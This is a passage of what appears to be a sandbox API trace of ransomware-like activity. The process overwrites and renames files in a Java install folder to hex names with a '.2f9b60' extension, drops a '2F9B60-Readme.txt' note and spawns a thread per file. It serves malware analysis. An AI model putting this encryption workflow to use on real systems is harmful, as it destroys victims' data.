lpOverlapped=0x0 | out: lpBuffer=0x42279960*, lpNumberOfBytesWritten=0x36fcfcb4*=0x997, lpOverlapped=0x0) returned 1 [0141.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe260 [0141.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe2c0 [0141.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe2c0) returned 1 [0141.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42279960) returned 1 [0141.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42284d90) returned 1 [0141.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0141.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0141.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cda07f0 [0141.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0141.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0141.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe2c0 [0141.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe2c0) returned 1 [0141.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cda0830 [0141.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe2c0 [0141.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe350 [0141.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe350) returned 1 [0141.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0141.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0141.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x116) returned 0x1673a0 [0141.748] SetFilePointerEx (in: hFile=0x1f38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0141.748] WriteFile (in: hFile=0x1f38, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x36fcfdd0, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x36fcfdd0*=0x116, lpOverlapped=0x0) returned 1 [0143.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0143.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff4f0 [0143.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff4f0) returned 1 [0143.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x204ff4f0 [0143.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff4c0 [0143.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff520 [0143.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff520) returned 1 [0143.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0143.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1cd86730 [0143.506] sprintf (in: _Dest=0x1cd86730, _Format="%c%c" | out: _Dest="46") returned 2 [0143.506] sprintf (in: _Dest=0x1cd86732, _Format="%c%c" | out: _Dest="d3") returned 2 [0143.506] sprintf (in: _Dest=0x1cd86734, _Format="%c%c" | out: _Dest="5b") returned 2 [0143.506] sprintf (in: _Dest=0x1cd86736, _Format="%c%c" | out: _Dest="37") returned 2 [0143.506] sprintf (in: _Dest=0x1cd86738, _Format="%c%c" | out: _Dest="d4") returned 2 [0143.506] sprintf (in: _Dest=0x1cd8673a, _Format="%c%c" | out: _Dest="a9") returned 2 [0143.506] sprintf (in: _Dest=0x1cd8673c, _Format="%c%c" | out: _Dest="b3") returned 2 [0143.506] sprintf (in: _Dest=0x1cd8673e, _Format="%c%c" | out: _Dest="78") returned 2 [0143.506] sprintf (in: _Dest=0x1cd86740, _Format="%c%c" | out: _Dest="0a") returned 2 [0143.506] sprintf (in: _Dest=0x1cd86742, _Format="%c%c" | out: _Dest="4e") returned 2 [0143.506] sprintf (in: _Dest=0x1cd86744, _Format="%c%c" | out: _Dest="15") returned 2 [0143.506] sprintf (in: _Dest=0x1cd86746, _Format="%c%c" | out: _Dest="e0") returned 2 [0143.507] sprintf (in: _Dest=0x1cd86748, _Format="%c%c" | out: _Dest="7e") returned 2 [0143.507] sprintf (in: _Dest=0x1cd8674a, _Format="%c%c" | out: _Dest="61") returned 2 [0143.507] sprintf (in: _Dest=0x1cd8674c, _Format="%c%c" | out: _Dest="7f") returned 2 [0143.507] sprintf (in: _Dest=0x1cd8674e, _Format="%c%c" | out: _Dest="59") returned 2 [0143.507] sprintf (in: _Dest=0x1cd86750, _Format="%c%c" | out: _Dest="82") returned 2 [0143.507] sprintf (in: _Dest=0x1cd86752, _Format="%c%c" | out: _Dest="c7") returned 2 [0143.507] sprintf (in: _Dest=0x1cd86754, _Format="%c%c" | out: _Dest="9a") returned 2 [0143.507] sprintf (in: _Dest=0x1cd86756, _Format="%c%c" | out: _Dest="b5") returned 2 [0143.507] sprintf (in: _Dest=0x1cd86758, _Format="%c%c" | out: _Dest="0c") returned 2 [0143.507] sprintf (in: _Dest=0x1cd8675a, _Format="%c%c" | out: _Dest="46") returned 2 [0143.507] sprintf (in: _Dest=0x1cd8675c, _Format="%c%c" | out: _Dest="91") returned 2 [0143.507] sprintf (in: _Dest=0x1cd8675e, _Format="%c%c" | out: _Dest="c6") returned 2 [0143.507] sprintf (in: _Dest=0x1cd86760, _Format="%c%c" | out: _Dest="29") returned 2 [0143.507] sprintf (in: _Dest=0x1cd86762, _Format="%c%c" | out: _Dest="69") returned 2 [0143.507] sprintf (in: _Dest=0x1cd86764, _Format="%c%c" | out: _Dest="07") returned 2 [0143.507] sprintf (in: _Dest=0x1cd86766, _Format="%c%c" | out: _Dest="2a") returned 2 [0143.507] sprintf (in: _Dest=0x1cd86768, _Format="%c%c" | out: _Dest="a4") returned 2 [0143.507] sprintf (in: _Dest=0x1cd8676a, _Format="%c%c" | out: _Dest="5c") returned 2 [0143.507] sprintf (in: _Dest=0x1cd8676c, _Format="%c%c" | out: _Dest="83") returned 2 [0143.507] sprintf (in: _Dest=0x1cd8676e, _Format="%c%c" | out: _Dest="b9") returned 2 [0143.507] sprintf (in: _Dest=0x1cd86770, _Format="%c%c" | out: _Dest="f1") returned 2 [0143.507] sprintf (in: _Dest=0x1cd86772, _Format="%c%c" | out: _Dest="d9") returned 2 [0143.507] sprintf (in: _Dest=0x1cd86774, _Format="%c%c" | out: _Dest="ec") returned 2 [0143.507] sprintf (in: _Dest=0x1cd86776, _Format="%c%c" | out: _Dest="fc") returned 2 [0143.507] RtlInitAnsiString (in: DestinationString=0x36fcfe48, SourceString="46d35b37d4a9b3780a4e15e07e617f5982c79ab50c4691c62969072aa45c83b9f1d9ecfc" | out: DestinationString="46d35b37d4a9b3780a4e15e07e617f5982c79ab50c4691c62969072aa45c83b9f1d9ecfc") [0143.507] RtlAnsiStringToUnicodeString (in: DestinationString=0x36fcfe18, SourceString="46d35b37d4a9b3780a4e15e07e617f5982c79ab50c4691c62969072aa45c83b9f1d9ecfc", AllocateDestinationString=1 | out: DestinationString="46d35b37d4a9b3780a4e15e07e617f5982c79ab50c4691c62969072aa45c83b9f1d9ecfc") returned 0x0 [0143.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20507a50 [0143.508] RtlFreeAnsiString (AnsiString="4") [0143.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86730) returned 1 [0143.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff4f0) returned 1 [0143.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff4c0) returned 1 [0143.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1673a0) returned 1 [0143.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda0830) returned 1 [0143.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe2c0) returned 1 [0143.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda07f0) returned 1 [0143.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe260) returned 1 [0143.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd780) returned 1 [0143.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde10) returned 1 [0143.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd6f0) returned 1 [0143.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x2050abf0 [0143.510] wcscat (in: _Dest=0x2050abf0, _Source="46d35b37d4a9b3780a" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\46d35b37d4a9b3780a") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\46d35b37d4a9b3780a" [0143.510] wcscat (in: _Dest=0x2050abf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\46d35b37d4a9b3780a.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\46d35b37d4a9b3780a.2f9b60" [0143.510] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\46d35b37d4a9b3780a.2f9b60", NtPathName=0x36fcfdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\46d35b37d4a9b3780a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050b690 [0143.510] NtSetInformationFile (FileHandle=0x1f38, IoStatusBlock=0x36fcfe90, FileInformation=0x2050b690, Length=0x9c, FileInformationClass=0xa) returned 0x0 [0144.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b690) returned 1 [0144.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf486d0) returned 1 [0144.114] NtQueryInformationFile (in: FileHandle=0x1f38, IoStatusBlock=0x36fcfe58, FileInformation=0x36fcfe68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x36fcfe58, FileInformation=0x36fcfe68) returned 0x0 [0144.114] NtSetInformationFile (FileHandle=0x1f38, IoStatusBlock=0x36fcfe58, FileInformation=0x36fcfe68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0144.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050abf0) returned 1 [0144.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507a50) returned 1 [0144.121] FlushFileBuffers (hFile=0x1f38) returned 1 [0144.131] CloseHandle (hObject=0x1f38) returned 1 [0144.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0144.134] wcscpy (in: _Dest=0x1ce59c30, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0144.134] wcscat (in: _Dest=0x1ce59c30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0144.134] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0145.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0145.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504b10) returned 1 Thread: id = 2089 os_tid = 0x13c0 [0138.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b86e4f0 [0138.493] wcscpy (in: _Dest=0x1b86e4f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\management" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management" [0138.493] wcscat (in: _Dest=0x1b86e4f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\" [0138.493] wcscat (in: _Dest=0x1b86e4f0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\*" [0138.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027f650 [0138.494] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\*", lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d6d0 [0140.657] wcscmp (_String1=".", _String2=".") returned 0 [0140.657] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.657] wcscmp (_String1="..", _String2=".") returned 1 [0140.657] wcscmp (_String1="..", _String2="..") returned 0 [0140.657] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmxremote.access", cAlternateFileName="JMXREM~1.ACC")) returned 1 [0140.657] wcscmp (_String1="jmxremote.access", _String2=".") returned 1 [0140.657] wcscmp (_String1="jmxremote.access", _String2="..") returned 1 [0140.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b86baf0 [0140.657] wcscpy (in: _Dest=0x1b86baf0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\management" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management" [0140.657] wcscat (in: _Dest=0x1b86baf0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\" [0140.657] wcscat (in: _Dest=0x1b86baf0, _Source="jmxremote.access" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\jmxremote.access") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\jmxremote.access" [0151.208] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86baf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f58 [0151.231] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb28, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmxremote.password.template", cAlternateFileName="JMXREM~1.TEM")) returned 1 [0151.231] wcscmp (_String1="jmxremote.password.template", _String2=".") returned 1 [0151.231] wcscmp (_String1="jmxremote.password.template", _String2="..") returned 1 [0151.231] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x202b01f0 [0151.231] wcscpy (in: _Dest=0x202b01f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\management" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management" [0151.231] wcscat (in: _Dest=0x202b01f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\" [0151.231] wcscat (in: _Dest=0x202b01f0, _Source="jmxremote.password.template" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\jmxremote.password.template") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\jmxremote.password.template" [0151.231] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b01f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f24 [0151.232] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3711, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.properties", cAlternateFileName="MANAGE~1.PRO")) returned 1 [0151.232] wcscmp (_String1="management.properties", _String2=".") returned 1 [0151.232] wcscmp (_String1="management.properties", _String2="..") returned 1 [0151.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b0330 [0151.232] wcscpy (in: _Dest=0x202b0330, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\management" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management" [0151.232] wcscat (in: _Dest=0x202b0330, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\" [0151.233] wcscat (in: _Dest=0x202b0330, _Source="management.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\management.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\management.properties" [0151.233] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x249c [0151.233] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0x0, dwReserved1=0x0, cFileName="snmp.acl.template", cAlternateFileName="SNMPAC~1.TEM")) returned 1 [0151.233] wcscmp (_String1="snmp.acl.template", _String2=".") returned 1 [0151.233] wcscmp (_String1="snmp.acl.template", _String2="..") returned 1 [0151.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b86b430 [0151.234] wcscpy (in: _Dest=0x1b86b430, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\management" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management" [0151.234] wcscat (in: _Dest=0x1b86b430, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\" [0151.234] wcscat (in: _Dest=0x1b86b430, _Source="snmp.acl.template" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\snmp.acl.template") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\snmp.acl.template" [0151.234] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24a0 [0151.235] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0x0, dwReserved1=0x0, cFileName="snmp.acl.template", cAlternateFileName="SNMPAC~1.TEM")) returned 0 [0151.235] FindClose (in: hFindFile=0x1cd9d6d0 | out: hFindFile=0x1cd9d6d0) returned 1 [0151.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027f650) returned 1 [0151.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e4f0) returned 1 [0151.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864760) returned 1 Thread: id = 2090 os_tid = 0x13c8 [0138.570] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management-agent.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management-agent.jar")) returned 0x20 [0140.612] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management-agent.jar", dwFileAttributes=0x20) returned 1 [0140.830] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management-agent.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management-agent.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f24 [0141.287] GetFileSizeEx (in: hFile=0x1f24, lpFileSize=0x372ff940 | out: lpFileSize=0x372ff940*=385) returned 1 [0141.287] SetFilePointerEx (in: hFile=0x1f24, liDistanceToMove=0x17d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.287] ReadFile (in: hFile=0x1f24, lpBuffer=0x372ff8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x372ff908, lpOverlapped=0x0 | out: lpBuffer=0x372ff8c0*, lpNumberOfBytesRead=0x372ff908*=0x4, lpOverlapped=0x0) returned 1 [0141.289] SetFilePointerEx (in: hFile=0x1f24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fded0 [0141.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf00 [0141.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcf0 [0141.290] NtQuerySystemTime (in: CurrentTime=0x372ff800 | out: CurrentTime=0x372ff800*=132462177465382000) returned 0x0 [0141.290] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x4ce484eb [0141.290] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x36d7bd17 [0141.290] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x2036ce5d [0141.290] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x310acdda [0141.290] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x3264f74f [0141.290] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x192d0962 [0141.290] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x7f53b8f8 [0141.290] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x4e58395d [0141.290] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x4db1c762 [0141.290] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x1e96a955 [0141.290] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x5d64cd3b [0141.290] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x690b55a2 [0141.291] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x11f9e155 [0141.291] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x4d141445 [0141.291] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x54def [0141.291] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x6d18da30 [0141.291] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x38fdb00d [0141.291] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x64ae7497 [0141.291] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x317b6da9 [0141.291] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x498f26bb [0141.291] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x137429d0 [0141.291] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x6ee99190 [0141.291] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x19f080a4 [0141.291] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x564027c8 [0141.291] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x7b06e388 [0141.291] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x7601f300 [0141.291] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x107023c7 [0141.291] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x20c6bddd [0141.291] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x2c5ca8d [0141.291] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x4e17c1d9 [0141.291] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x5fdb9da6 [0141.291] RtlRandomEx (in: Seed=0x372ff7f0 | out: Seed=0x372ff7f0) returned 0x2d7b9af6 [0141.301] RtlAllocateHeap (HeapHandle=0xa0000, 